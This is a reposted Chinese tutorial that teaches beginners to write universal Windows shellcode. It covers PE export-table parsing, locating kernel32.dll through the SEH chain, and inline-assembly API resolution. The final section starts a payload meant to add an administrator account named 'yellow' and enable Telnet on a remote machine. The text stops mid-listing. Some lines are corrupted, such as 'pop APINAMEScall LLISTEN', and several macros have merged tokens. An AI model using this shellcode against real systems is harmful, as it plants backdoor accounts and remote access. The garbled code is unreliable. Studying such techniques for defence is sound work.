明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

通用ShellCode深入剖析

[摘要]通用ShellCode深入剖析前言: 在網(wǎng)上關于ShellCode編寫技術的文章已經(jīng)非常之多,什么理由讓我再寫這種技術文 章呢?本文是我上一篇溢出技術文章<Windows 2000緩沖區(qū)溢出技術原理>的姊妹篇,同樣 的在網(wǎng)上我們經(jīng)常可以看到一些關于ShelCode編寫技術的文章...

通用ShellCode深入剖析前言:
    在網(wǎng)上關于ShellCode編寫技術的文章已經(jīng)非常之多,什么理由讓我再寫這種技術文
章呢?本文是我上一篇溢出技術文章<Windows 2000緩沖區(qū)溢出技術原理>的姊妹篇,同樣
的在網(wǎng)上我們經(jīng)?梢钥吹揭恍╆P于ShelCode編寫技術的文章,似乎沒有為初學者準備的
,在這里我將站在初學者的角度對通用ShellCode進行比較詳細的分析,有了上一篇的溢出
理論和本篇的通用ShellCode理論,基本上我們就可以根據(jù)一些公布的Window溢出漏洞或
是自己對一些軟件系統(tǒng)進行反匯編分析出的溢出漏洞試著編寫一些溢出攻擊測試程序.
    文章首先簡單分析了PE文件格式及PE引出表,并給出了一個例程,演示了如何根據(jù)PE
相關技術查找引出函數(shù)及其地址,隨后分析了一種比較通用的獲得Kernel32基址的方法,
最后結合理論進行簡單的應用,給出了一個通用ShellCode.
    本文同樣結合我學習時的理解以比較容易理解的方式進行描述,但由于ShellCode的
復雜性,文章主要使用C和Asm來講解,作者假設你已具有一定的C/Asm混合編程基礎以及上
一篇的溢出理論基礎,希望本文能讓和我一樣初學溢出技術的朋友有所提高.

[目錄]

1,PE文件結構的簡介,及PE引出表的分析.
  1.1 PE文件簡介
  1.2 引出表分析
  1.3 使用內聯(lián)匯編寫一個通用的根據(jù)DLL基址獲得引出函數(shù)地址的實用函數(shù)
      GetFunctionByName

2,通用Kernel32.DLL地址的獲得方法.
  2.1 結構化異常處理和TEB簡介
  2.2 使用內聯(lián)匯編寫一個通用的獲得Kernel32.DLL函數(shù)基址的實用函數(shù)
      GetKernel32

3,綜合運用(一個簡單的通用ShellCode)
  3.1 綜合前面所講解的技術編寫一個添加帳號及開啟Telnet的簡單ShellCode:
      根據(jù)第2節(jié)所述技術使用我們自己實現(xiàn)的GetFunctionByName獲得LoadLibraryA和
      GetProcAddress函數(shù)地址,再使用這兩個函數(shù)引入所有我們需要的函數(shù)實現(xiàn)期望的
      功能.

4,參考資料.

5,關鍵字.
--------------------------------------------------------------------------------

                    一,PE文件結構及引出表基礎
1,PE文件結構簡介

    PE(Portable Executable,移植的執(zhí)行體),是微軟Win32環(huán)境可執(zhí)行文件的標準格式
(所謂可執(zhí)行文件不光是.EXE文件,還包括.DLL/.VXD/.SYS/.VDM等)

PE文件結構(簡化):

                        -----------------
                        │1,DOS MZ header│
                        -----------------
                        │2,DOS stub     │
                        -----------------
                        │3,PE header     │
                        -----------------
                        │4,Section table│
                        -----------------
                        │5,Section 1     │
                        -----------------
                        │6,Section 2     │
                        -----------------
                        │   Section ...   │
                        -----------------
                        │n,Section n     │
                        -----------------

記得在我還沒有接確Win32編程時,我曾在Dos下運行過一個Win32可執(zhí)行文件,程序只輸出
了一行"This program cannot be run in DOS mode.",我覺得很有意思,它是怎么識別自
己不在Win32平臺下的呢?其實它并沒有進行識別,它可能簡單到只輸入這一行文字就退出
了,可能源碼就像下面的C程序這么簡單:

#include <stdio.h>
void main(void)
{
printf("This program cannot be run in DOS mode.n");
}

你可能會問"我在寫Win32程序時并沒有寫過這樣的語句啊?",其實這是由連接器(linker)
為你構建的一個16位DOS程序,當在16位系統(tǒng)(DOS/Windows 3.x)下運行Win32程序時它才會
被執(zhí)行用來輸出一串字符提示用戶"這個程序不能在DOS模式下運行".

我們先來看看DOS MZ header到底是什么東西,下面是它在Winnt.h中的結構描述:

typedef struct _IMAGE_DOS_HEADER {       //DOS .EXE header
    WORD   e_magic;                     //0x00 Magic number
    WORD   e_cblp;                       //0x02 Bytes on last page of file
    WORD   e_cp;                         //0x04 Pages in file
    WORD   e_crlc;                       //0x06 Relocations
    WORD   e_cparhdr;                   //0x08 Size of header in paragraphs
    WORD   e_minalloc;                   //0x0a Minimum extra paragraphs needed
    WORD   e_maxalloc;                   //0x0c Maximum extra paragraphs needed
    WORD   e_ss;                         //0x0e Initial (relative) SS value
    WORD   e_sp;                         //0x10 Initial SP value
    WORD   e_csum;                       //0x12 Checksum
    WORD   e_ip;                         //0x14 Initial IP value
    WORD   e_cs;                         //0x16 Initial (relative) CS value
    WORD   e_lfarlc;                     //0x18 File address of relocation table
    WORD   e_ovno;                       //0x1a Overlay number
    WORD   e_res[4];                     //0x1c Reserved words
    WORD   e_oemid;                     //0x24 OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   //0x26 OEM information; e_oemid specific
    WORD   e_res2[10];                   //0x28 Reserved words
    LONG   e_lfanew;                     //0x3c File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

    DOS MZ header中包括了一些16位DOS程序的初使化值如果IP(指令指針),cs(代碼段寄存
器),需要分配的內存大小,checksum(校驗和)等,當DOS準備為可執(zhí)行文件建立進程時會讀取其
中的值來完成初使化工作.

    留意到最后一個結構成員了嗎?微軟的人對它的描述是File address of new exe header
意義是"新的exe文件頭部地址",它是一個相對偏移值,我想文件偏移量你一定知道是什么吧!
e_lfanew就是一個文件偏移值,它指向PE header,它對我們來說非常重要.緊跟著DOS MZ header
的是DOS stub它是linker為我們建立的這個16位DOS程序的代碼實體部分,就是它輸出了
"This program cannot be run in DOS mode.".再后面就是PE header了,有人曾問過我PE頭部
相對于.exe文件的偏移是不是固定的?這個可不好說,不同的編譯器生成的stub長度可能不一樣
(比如:它可能存儲了這樣一個字串來提示用戶"The Currnet OS is not Win32,I want to run
in Win32 Mode.",那么這個stub的長度將比前面的那個長),所以用一個固定值來定位PE header
是不科學的,這個時候我們就用到了e_lfanew,它指向真正的PE header,它總是正確嗎?那是當然
的!linker總是會它賦予一個正確的值.所以我們要它精確定位PE header,同樣的Win32 PELoader
也根據(jù)e_lfanew來定位真正的PE header,并使用PE header中的不同的成員值進行初使化,PE還
包涵了很多個"節(jié)"(Section),有用來存儲數(shù)據(jù)的,有用來存可執(zhí)行代碼的,還有的是用來存資源
的(如:程序圖標,位圖,聲音,對話框模板等)
    下面我只簡單分析一下PE結構與編寫ShellCode相關的部分,如果你對其它部分也比較感興趣
可以看看臺港侯俊杰先生譯的<Windows 95系統(tǒng)程序設計大奧秘>中的相關內容以及Iczelion的經(jīng)
典PE教程,我個人覺得將兩者結合起來看要好一點.

2,引出表分析

    在PE header結構(你可以Winnt.h中找到它)中包括一個DataDirectory結構成員數(shù)組,可以通
過這樣的方法來找到它的位置:
  PE頭部偏移=可執(zhí)行文件內存映象基址+0x3c(e_lfanew)
  PE基址=可執(zhí)行文件內存映象基址+PE頭部偏移
  引出表目錄指針(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory
  引出函數(shù)名稱表首指針(char**)=引出表目錄基址+0x20
  引出函數(shù)地址表首指針(DWORD **)=引出表目錄指針+0x1c
它的結構定義是這樣的:

typedef struct _Image_Data_Directory{
    DWORD   VirtualAddress;
    DWORD   isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

該結構數(shù)組共包括16成員,第一個成員的VirtualAddress存儲了一個相對偏移量,它指向一個
IMAGE_EXPORT_DIRECTORY結構,它的定義是這樣的:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;//0x00
    DWORD   TimeDateStamp;//0x04
    WORD     MajorVersion;//0x08
    WORD     MinorVersion;//0x0a
    DWORD   Name;//0x0c
    DWORD   Base;//0x10
    DWORD   NumberOfFunctions;//0x14
    DWORD   NumberOfNames;//0x18
    DWORD   AddressOfFunctions;//0x1c RVA from base of image
    DWORD   AddressOfNames;//0x20 RVA from base of image
    DWORD   AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

    其中AddressOfFunctions里又存儲了一個二級指針,它指向一個DWORD型指針數(shù)組該數(shù)
組成員所指就是函數(shù)地址值,但其中的值是函數(shù)相對于可執(zhí)行文件在內存映象中基地址的一
個相對偏移值,真正的函數(shù)地址等于這個相對偏移值+可執(zhí)行文件在內存映象中的基地址,我
們可以Call這個計算后的真實地址來調用函數(shù).AddressOfNames是一個二級字符指針,該數(shù)組
成員所指就是函數(shù)名稱字符串相對于可執(zhí)行文件在內存映象中的基地址的一個偏移值,同樣
可以通過相對偏移值+可執(zhí)行文件在內存映象中的基地址來引用函數(shù)名稱字串.Name也是一個
字符指針,它也只存儲了相對偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那么它指向
的字串就為"KERNEL32.dll".

3,本節(jié)應用實例

    關于PE和引出表我們已經(jīng)分析了與編寫ShellCode密切相關的部分,這一部分的確有點難,
但一定要把它搞清楚,只有把它搞懂我們才能進行下一節(jié)的學習,在本節(jié)的最后附上一個小程序,
在內聯(lián)匯編代碼中大量使用了"間接引用",如果你對指針很熟悉基本上它很好理解,在程序里我
們實現(xiàn)了Windows API GetProcAddress的功能,這種技術對于想使用一些未公開的系統(tǒng)函數(shù)也是
非常之有用的.
------------                             -----------------------------------------

GetFunctionByName函數(shù)可以從一個PE執(zhí)行文件中以函數(shù)名查找引出表并返回引出函數(shù)地址,只
需要知道KERNEL32.DLL的基地址值,使用它在本程序中我們不包括頭文件也可以使用任何一個
Windows API.在我的機器上它是0x77e60000程序如下:

//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//參數(shù):
//     ImageBase:   可執(zhí)行文件的內存映象基址
//     FuncName:     函數(shù)名稱指針
//     flen:         函數(shù)名稱長度
//返回值:
//     函數(shù)成功時返回有效的函數(shù)地址,失敗時返回0.
//最終在寫ShellCode時,應該給該函數(shù)加上__inline聲明,因為它要與ShellCode融為一體.

//注意,在本例中我們沒有包括任何一個.h文件

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模塊名,如果在查找KERNEL32.DLL的引出函數(shù)那么它將指向"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數(shù)名稱指針數(shù)組的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據(jù)引出函數(shù)個數(shù)NumberOfFunctions設置最大查找次數(shù)
FindLoop:
push ecx//使用一個小技巧,使用程序循環(huán)更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則為找到函數(shù),注意這里的ecx值
cld
rep cmpsb
jne FindNext//如果當前函數(shù)不是指定的函數(shù)則查找下一個
add esp,4//如果查找成功,則清除用于控制外層循環(huán)而壓入的Ecx,準備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函數(shù)地址表
shl Count,2//根據(jù)函數(shù)索引計算函數(shù)地址指針=函數(shù)地址表基址+(函數(shù)索引*4)
add eax,Count
mov eax,[eax]//獲得函數(shù)地址相對偏移量
add eax,ImageBase//計算函數(shù)真實地址,并通過Eax返回給調用者
jmp Found
FindNext:
inc Count//記錄函數(shù)索引
add [FunNameArray],4//下一個函數(shù)名指針
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數(shù)循環(huán)
loop FindLoop//如果ecx不為0則遞減并回到FindLoop,往后查找
NotFound:xor eax,eax//如果沒有找到,則返回0
Found:
}
}
/*
讓我們來測試一下,先用GetFunctionByName獲得kernel32.dll中LoadLibraryA
的地址,再用它裝載user32.dll,再用GetFunctionByName獲得MessageBoxA的地址,call
它一下
*/
int main(void)
{

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000是我機器上的kernel32.dll的基址,不同機器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相當于執(zhí)行LoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的長度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C調用約定,由調用者調整堆棧
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相當于執(zhí)行MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
函數(shù)的內聯(lián)匯編代碼有很多這樣的語句:
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
我試過使用mov eax,[ImageBase+eax+0x??]之類的語法,因為用到很多多級指針,而它們指向
的又是相對偏移量所以要不斷的"獲取和計算",否則很容易導致"訪問違例".編譯運行,彈出了
一個MessageBox標題和內容都是"test"看到了嗎?你可能會問這個程序拿到其它機器上也可能
運行嗎?在整個程序里我們唯一依賴的就是0x77e60000這個kernel32.dll基址,其它機器上的
可能不是這個值,如果這個地址值可以在程序運行時動態(tài)的計算出來,那么這個程序將非常通
用,它可以動態(tài)計算出來嗎?答案是肯定的!下一節(jié)我們將來分析一種并不很流行但很通用的動
態(tài)計算獲得kernel32.dll基址的方法.

---------------------------------------------------------------------------------

                  二,在動態(tài)獲得Kernel32.DLL地址方法的分析

1,簡析結構化異常處理(SEH,Structred Exception Handling)
    SEH已經(jīng)不是很什么新技術了,但是對于我將要講了非常重要,所以在這里對它做一個簡單的
分析.Ok,打開VC,讓我們來分析一個簡單的"除"運算程序,看看它哪里有問題:

#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}
編譯,運行:輸入4 2,程序輸出"4 DIV 2 = 2",結果很正確.再運行輸入 4 0,問題出來了,
Visual Studio彈出了一個信息框:
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出現(xiàn)了未處理的
"除0異常",傳統(tǒng)的方法是我們在z=x/y之前加上判斷:
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}
出錯處理在這個小程序里這的確很容易看懂,可是想想如果在數(shù)千甚至上萬行的程序里,這樣的
錯誤捕獲處理會讓程序變的十分凌亂難懂,而且傳統(tǒng)方法處理的是我們可以想像(猜測)到的錯誤,
但是某些導到程序出錯的情況是很隨機的,這樣就不能保證程序的健壯性了,而SEH正是為了讓正
常的處理代碼和出錯處理代碼分開,以使程序結構清淅,并使程序更加
健壯.讓我們再把這個小程序改一下:
#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//把可能出錯的程序段封裝起來
z=x/y;
                //......
}
__except(EXCEPTION_EXECUTE_HANDLER)
{//在這里找出出現(xiàn)異常的原因,并進行處理
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://如果除0異常
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://內存訪問違例
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %dn",x,y,z);
LQUIT:
getch();
return 0;
}
這樣我們就使終都可以捕獲到異常了,編譯,選擇"Disassembly",可以看到這樣的代碼:
push         offset __except_handler3 (00401330)
mov         eax,fs:[00000000]
push         eax
mov         dword ptr fs:[0],esp
這是實際上是標準的SEH異常處理函數(shù)的注冊方法,我們的__except(){}實際在編譯時被當成一個
線程相關的異常處理函數(shù),實際上這段代碼的作用是將我們的異常處理函數(shù)加入異常處理結構鏈
表EXCEPTION_REGISTRATION_RECORD,fs:[0]是這個異常處理函數(shù)鏈表的首指針,它的最后一條記錄
的節(jié)點指針指向0xffffffff.它的結構描述是這樣的:

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
  struct _EXCEPTION_REGISTRATION_RECORD * pNext;     //指向后面的節(jié)點
  FARPROC                                 pfnHandler;//指向異常處理函數(shù)
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

你可能會問"你怎么知道fs:[0]是該結構的首指針呢?",當然我沒有那么天才,從Windows 95系統(tǒng)程序
設計一書中可以得知每當創(chuàng)建一個線程,系統(tǒng)均會為每個線程分配TEB(Thread Environment Block)
在Windows 9x中被稱為TIB(Thread Information Block),而且TEB永遠放在fs段選擇器指定的數(shù)據(jù)段
的0偏移處.
-----------------------------------                       -----------------------------
再看一下TEB的結構定義你就會明白的:
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意這個指針成員
                                        ---------------------------------------------------------
PVOID   pvStackUserTop;         // 04h Top of user stack
PVOID   pvStackUserBase;         // 08h Base of user stack

union                           // 0Ch (NT/Win95 differences)
{
  struct   // Win95 fields
  {
      WORD     pvTDB;           // 0Ch TDB
      WORD     pvThunkSS;       // 0Eh SS selector used for thunking to 16 bits
      DWORD   unknown1;       // 10h
  } WIN95;

  struct   // WinNT fields
  {
      PVOID SubSystemTib;     // 0Ch
      ULONG FiberData;         // 10h
  } WINNT;
} TIB_UNION1;

PVOID   pvArbitrary;             // 14h Available for application use
struct _tib *ptibSelf;           // 18h Linear address of TIB structure

union                           // 1Ch (NT/Win95 differences)
{
  struct   // Win95 fields
  {
      WORD     TIBFlags;           // 1Ch
      WORD     Win16MutexCount;     // 1Eh
      DWORD   DebugContext;       // 20h
      DWORD   pCurrentPriority;   // 24h
      DWORD   pvQueue;             // 28h Message Queue selector
  } WIN95;

  struct   // WinNT fields
  {
      DWORD unknown1;             // 1Ch
      DWORD processID;             // 20h <=---注意這個和下面一個成員
      //-------------
      DWORD threadID;             // 24h <=---注意這個成員
      //-------------
      DWORD unknown2;             // 28h
  } WINNT;
} TIB_UNION2;

PVOID*   pvTLSArray;             // 2Ch Thread Local Storage array

union                           // 30h (NT/Win95 differences)
{
  struct   // Win95 fields
  {
      PVOID*   pProcess;       // 30h Pointer to owning Process Database
  } WIN95;
} TIB_UNION3;

} TIB, *PTIB;

看見了嗎?TEB的第一個成員pvExcept是異常處理鏈首指針Head of exception record list,它相對于
TEB首地址0x00偏移處,而TEB永遠放在fs段寄存器的0x00偏移處,也就是fs段寄存器的0x00偏移處.
看到我讓你留意的另兩個成員了嗎?processID存儲了當前線程屬進程的ID號,threadID存儲了當前線程
ID號,這樣我們又可以實現(xiàn)兩Windows API了:
//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>

__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//讀取TEB的processID成員內容,通過eax返回
ret
}
}

__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//讀取TEB的threadID成員內容,通過eax返回
ret
}
}
//測試一下
void main(void)
{
printf("MY PID=%dtAPI PID=%dn",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%dtAPI TID=%dn",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
程序輸出:
MY PID=1448     API PID=1448
MY TID=1204     API TID=1204

注意,不同的機器,不同時刻這里輸出的值可能不一樣,但MY PID恒等于API PID,MY TID恒等API TID.越
來越有意思了吧!說了這么多,那么這些與獲得kernel32.dll基址有什么關系嗎?不要著急,繼續(xù)往下看你
就會明白的!

2,通過異常處理函數(shù)鏈表查找kernel32.dll基地址

現(xiàn)在讓我們來看看異常處理的順序,它是這樣的:
    當一個異常發(fā)生時,系統(tǒng)會從fs:[0]處讀取異常處理函數(shù)鏈表首指針,開始問所有在應用程序中注冊的
異常處理函數(shù),比如上面的"除0異常",系統(tǒng)會把這個異常通知我們的異常處理函數(shù),函數(shù)識別出是"除0異常",
并給予了處理(輸出了"Can not Divide by Zero!"),并告訴系統(tǒng)"我已經(jīng)處理過了,不用再問其它函數(shù)了".
    如果我們的函數(shù)不打算處理這個異?梢越唤o兄弟節(jié)點中異常處理函數(shù)指針指向的其它異常處理函數(shù)
處理,如果程序中注冊的異常處理均不處理這個異常,那么系統(tǒng)將把它發(fā)送給當前調試工具,如果應用程序當
前不處在調試狀態(tài)或是調試工具也不處理這個異常的話,系統(tǒng)將把它發(fā)送給kernel32的UnhandledExceptionFilter
函數(shù)進行處理,當然它是由程序異常處理鏈最后一個節(jié)點的pfnHandler(參考EXCEPTION_REGISTRATION_RECORD)
函數(shù)指針成員指向的,該節(jié)點的pNext成員將指向0xffffffff.
    看了這么多有點靈感了嗎?我們已經(jīng)有了kernel32.dll的一個引出函數(shù)的地址了,難道還找不出它的基址
嗎?看看下面的這個小程序吧!
/*
  原型:unsigned int GetKernel32(void);
  參數(shù):無
  返回值:
      函數(shù)總是能返回Kernel32.dll的基地址
  說明:根據(jù)PE可執(zhí)行文件特征從UnhandledExceptionFilter函數(shù)地址向上線性查找,使用__inline是為了與
      最終的ShellCode融為一體,使用__declspec(naked)是為了不讓編譯器自作聰明生成一些"廢話",讓它
      完全按照我們自己的Asm語句來描述函數(shù).
*/
#include <stdio.h>
#include <conio.h>

__inline __declspec(naked) unsigned int GetKernel32()
{
  __asm
{
    push esi
push ecx
mov   esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到達最后一個節(jié)點(它的pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax]//否則往后遍歷,一直到最后一個節(jié)點
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//根據(jù)PE執(zhí)行文件以64k對界的特征加快查找速度
cmp word ptr [eax],'ZM'//根據(jù)PE可執(zhí)行文件特征查找KERNEL32.DLL的基址
jne MoveUp//如果當前地址不符全MZ頭部特征,則向上查找
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根據(jù)PE可執(zhí)行文件特征查找KERNEL32.DLL的基址
je Found//如果符合MZ及PE頭部特征,則認為已經(jīng)找到,并通過Eax返回給調用者
MoveUp:
dec eax//準備指向下一個界起始地址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}

void main(void)
{
printf("%0.8Xn",GetKernel32());
getch();
}


完成了本節(jié)的學習以后,你應該掌握常用于編寫病毒和ShellCode的幾種技術:
1,根據(jù)PE文件查找引出函數(shù)地址
2,動態(tài)計算KERNEL32.DLL的基址
3,動態(tài)裝載需要的運行庫及動獲得需要的Windows API(s)
在最后一節(jié)里我們將對前面所分析的技術做一個綜合應用,寫一個簡單的ShellCode
--------------------------------------------------------------------------------------------
                                      三,綜合運用
本節(jié)我們將綜合前面分析的技術編寫一個簡單的通用ShellCode,這個ShellCode將首先在遠程機器上新建一個
用戶,用戶名yellow,密碼yellow,如果如果可能將把該用戶加入Administrators用戶組,如果可能還會打開Telnet
服務,請留意我的編碼風格,這樣風格對以后的ShellCode功能擴充提供很大方便.源程序如下:
///////////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定義API及DLL名稱及其存儲順序,良好的編碼風格對于以后的開發(fā)會提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)

#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)

#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2

#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工獲得KERNEL32.DLL基址,并獲得LoadLibraryA和GetProcAddress函數(shù)地址
push esi
push ecx
mov   esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';    
_emit 'e';    
_emit 't';    
_emit 'P';    
_emit 'r';    
_emit 'o';    
_emit 'c';    
_emit 'A';    
_emit 'd';    
_emit 'd';    
_emit 'r';    
_emit 'e';    
_emit 's';    
_emit 's';    
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';      
_emit 'o';      
_emit 'a';      
_emit 'd';      
_emit 'L';      
_emit 'i';      
_emit 'b';      
_emit 'r';      
_emit 'a';      
_emit 'r';      
_emit 'y';      
_emit 'A';      
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填寫需要的DLL名稱,注意這里和上面定義的宏順序要一樣
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填寫其它需要的API名稱,注意這里也要和上面定義和宏順序一樣
call LEXITPROCESS//1
_emit 'E';    
_emit 'x';    
_emit 'i';    
_emit 't';    
_emit 'P';    
_emit 'r';    
_emit 'o';    
_emit 'c';    
_emit 'e';    
_emit 's';    
_emit 's';    
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';      
_emit 'i';      
_emit 'n';      
_emit 'E';      
_emit 'x';      
_emit 'e';      
_emit 'c';      
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';    
_emit 'o';    
_emit 'c';    
_emit 'k';    
_emit 'e';    
_emit 't';    
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';      
_emit 'i';      
_emit 'n';      
_emit 'd';      
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';      
_emit 'o';      
_emit 'n';      
_emit 'n';      
_emit 'e';      
_emit 'c';      
_emit 't';      
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';    
_emit 'c';    
_emit 'c';    
_emit 'e';    
_emit 'p';    
_emit 't';    
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l';      
_emit 'i';      
_emit 's';      
_emit 't';      
_emit 'e';      
_emit 'n';      
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';    
_emit 'e';    
_emit 'n';    
_emit 'd';    
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';    
_emit 'e';    
_emit 'c';    
_emit 'v';    
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';      
_emit 'l';      
_emit 'o';      
_emit 's';      
_emit 'e';      
_emit 's';      
_emit 'o';      
_emit 'c';      
_emit 'k';      
_emit 'e';      
_emit 't';      
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W';    
_emit 'S';    
